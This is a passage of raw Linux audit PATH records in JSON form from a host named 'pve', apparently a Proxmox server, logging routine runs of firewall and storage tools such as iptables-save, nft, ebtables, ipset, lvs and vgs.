msg=audit(1781965305.734:65045): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305734,"@rawstring":"node=pve type=PATH msg=audit(1781965305.734:65045): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305728,"@rawstring":"node=pve type=PATH msg=audit(1781965305.728:65044): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305728,"@rawstring":"node=pve type=PATH msg=audit(1781965305.728:65044): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305722,"@rawstring":"node=pve type=PATH msg=audit(1781965305.722:65043): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305722,"@rawstring":"node=pve type=PATH msg=audit(1781965305.722:65043): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305716,"@rawstring":"node=pve type=PATH msg=audit(1781965305.716:65042): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305716,"@rawstring":"node=pve type=PATH msg=audit(1781965305.716:65042): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305710,"@rawstring":"node=pve type=PATH msg=audit(1781965305.710:65041): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305710,"@rawstring":"node=pve type=PATH msg=audit(1781965305.710:65041): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305702,"@rawstring":"node=pve type=PATH msg=audit(1781965305.702:65040): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305702,"@rawstring":"node=pve type=PATH msg=audit(1781965305.702:65040): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305696,"@rawstring":"node=pve type=PATH msg=audit(1781965305.696:65039): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305696,"@rawstring":"node=pve type=PATH msg=audit(1781965305.696:65039): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305692,"@rawstring":"node=pve type=PATH msg=audit(1781965305.692:65038): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305692,"@rawstring":"node=pve type=PATH msg=audit(1781965305.692:65038): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305685,"@rawstring":"node=pve type=PATH msg=audit(1781965305.685:65037): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305685,"@rawstring":"node=pve type=PATH msg=audit(1781965305.685:65037): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305683,"@rawstring":"node=pve type=PATH msg=audit(1781965305.683:65036): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305683,"@rawstring":"node=pve type=PATH msg=audit(1781965305.683:65036): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305683,"@rawstring":"node=pve type=PATH msg=audit(1781965305.683:65035): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305679,"@rawstring":"node=pve type=PATH msg=audit(1781965305.679:65034): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305679,"@rawstring":"node=pve type=PATH msg=audit(1781965305.679:65034): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305679,"@rawstring":"node=pve type=PATH msg=audit(1781965305.679:65034): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305671,"@rawstring":"node=pve type=PATH msg=audit(1781965305.671:65033): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305671,"@rawstring":"node=pve type=PATH msg=audit(1781965305.671:65033): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305661,"@rawstring":"node=pve type=PATH msg=audit(1781965305.661:65032): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305661,"@rawstring":"node=pve type=PATH msg=audit(1781965305.661:65032): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305654,"@rawstring":"node=pve type=PATH msg=audit(1781965305.654:65031): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305654,"@rawstring":"node=pve type=PATH msg=audit(1781965305.654:65031): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305646,"@rawstring":"node=pve type=PATH msg=audit(1781965305.646:65030): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305646,"@rawstring":"node=pve type=PATH msg=audit(1781965305.646:65030): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305636,"@rawstring":"node=pve type=PATH msg=audit(1781965305.636:65029): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305636,"@rawstring":"node=pve type=PATH msg=audit(1781965305.636:65029): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965304843,"@rawstring":"node=pve type=PATH msg=audit(1781965304.843:65028): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965304843,"@rawstring":"node=pve type=PATH msg=audit(1781965304.843:65028): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965304816,"@rawstring":"node=pve type=PATH msg=audit(1781965304.816:65027): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965304816,"@rawstring":"node=pve type=PATH msg=audit(1781965304.816:65027): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965302502,"@rawstring":"node=pve type=PATH msg=audit(1781965302.502:65026): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965302502,"@rawstring":"node=pve type=PATH msg=audit(1781965302.502:65026): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965302502,"@rawstring":"node=pve type=PATH msg=audit(1781965302.502:65025): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965302502,"@rawstring":"node=pve type=PATH msg=audit(1781965302.502:65024): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965302492,"@rawstring":"node=pve type=PATH msg=audit(1781965302.492:65023): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965302492,"@rawstring":"node=pve type=PATH msg=audit(1781965302.492:65023): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965302492,"@rawstring":"node=pve type=PATH msg=audit(1781965302.492:65022): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965302492,"@rawstring":"node=pve type=PATH msg=audit(1781965302.492:65021): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965300346,"@rawstring":"node=pve type=PATH msg=audit(1781965300.346:65020): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965300346,"@rawstring":"node=pve type=PATH msg=audit(1781965300.346:65020): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965300346,"@rawstring":"node=pve type=PATH msg=audit(1781965300.346:65019): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965300346,"@rawstring":"node=pve type=PATH msg=audit(1781965300.346:65019): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965300344,"@rawstring":"node=pve type=PATH msg=audit(1781965300.344:65018): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965300344,"@rawstring":"node=pve type=PATH msg=audit(1781965300.344:65018): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965297482,"@rawstring":"node=pve type=PATH msg=audit(1781965297.482:65017): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965297482,"@rawstring":"node=pve type=PATH msg=audit(1781965297.482:65017): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965297482,"@rawstring":"node=pve type=PATH msg=audit(1781965297.482:65016): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965297482,"@rawstring":"node=pve type=PATH msg=audit(1781965297.482:65015): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965297475,"@rawstring":"node=pve type=PATH msg=audit(1781965297.475:65014): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965297475,"@rawstring":"node=pve type=PATH msg=audit(1781965297.475:65014): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965297475,"@rawstring":"node=pve type=PATH msg=audit(1781965297.475:65013): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965297475,"@rawstring":"node=pve type=PATH msg=audit(1781965297.475:65012): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295628,"@rawstring":"node=pve type=PATH msg=audit(1781965295.628:65011): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295628,"@rawstring":"node=pve type=PATH msg=audit(1781965295.628:65011): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295623,"@rawstring":"node=pve type=PATH msg=audit(1781965295.623:65010): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295623,"@rawstring":"node=pve type=PATH msg=audit(1781965295.623:65010): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295621,"@rawstring":"node=pve type=PATH msg=audit(1781965295.621:65009): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295621,"@rawstring":"node=pve type=PATH msg=audit(1781965295.621:65009): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295620,"@rawstring":"node=pve type=PATH msg=audit(1781965295.620:65008): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295616,"@rawstring":"node=pve type=PATH msg=audit(1781965295.616:65007): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295616,"@rawstring":"node=pve type=PATH msg=audit(1781965295.616:65007): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295616,"@rawstring":"node=pve type=PATH msg=audit(1781965295.616:65007): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295610,"@rawstring":"node=pve type=PATH msg=audit(1781965295.610:65006): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295610,"@rawstring":"node=pve type=PATH msg=audit(1781965295.610:65006): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295602,"@rawstring":"node=pve type=PATH msg=audit(1781965295.602:65005): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295602,"@rawstring":"node=pve type=PATH msg=audit(1781965295.602:65005): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295594,"@rawstring":"node=pve type=PATH msg=audit(1781965295.594:65004): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295594,"@rawstring":"node=pve type=PATH msg=audit(1781965295.594:65004): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295588,"@rawstring":"node=pve type=PATH msg=audit(1781965295.588:65003): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295588,"@rawstring":"node=pve type=PATH msg=audit(1781965295.588:65003): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295580,"@rawstring":"node=pve type=PATH msg=audit(1781965295.580:65001): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295580,"@rawstring":"node=pve type=PATH msg=audit(1781965295.580:65001): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295572,"@rawstring":"node=pve type=PATH msg=audit(1781965295.572:65000): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295572,"@rawstring":"node=pve type=PATH msg=audit(1781965295.572:65000): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295564,"@rawstring":"node=pve type=PATH msg=audit(1781965295.564:64999): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295564,"@rawstring":"node=pve type=PATH msg=audit(1781965295.564:64999): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295558,"@rawstring":"node=pve type=PATH msg=audit(1781965295.558:64998): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295558,"@rawstring":"node=pve type=PATH msg=audit(1781965295.558:64998): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295549,"@rawstring":"node=pve type=PATH msg=audit(1781965295.549:64997): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295549,"@rawstring":"node=pve type=PATH msg=audit(1781965295.549:64997): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295536,"@rawstring":"node=pve type=PATH msg=audit(1781965295.536:64996): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295536,"@rawstring":"node=pve type=PATH msg=audit(1781965295.536:64996): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295518,"@rawstring":"node=pve type=PATH msg=audit(1781965295.518:64995): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295518,"@rawstring":"node=pve type=PATH msg=audit(1781965295.518:64995): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295506,"@rawstring":"node=pve type=PATH msg=audit(1781965295.506:64994): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295506,"@rawstring":"node=pve type=PATH msg=audit(1781965295.506:64994): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295503,"@rawstring":"node=pve type=PATH msg=audit(1781965295.503:64993): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 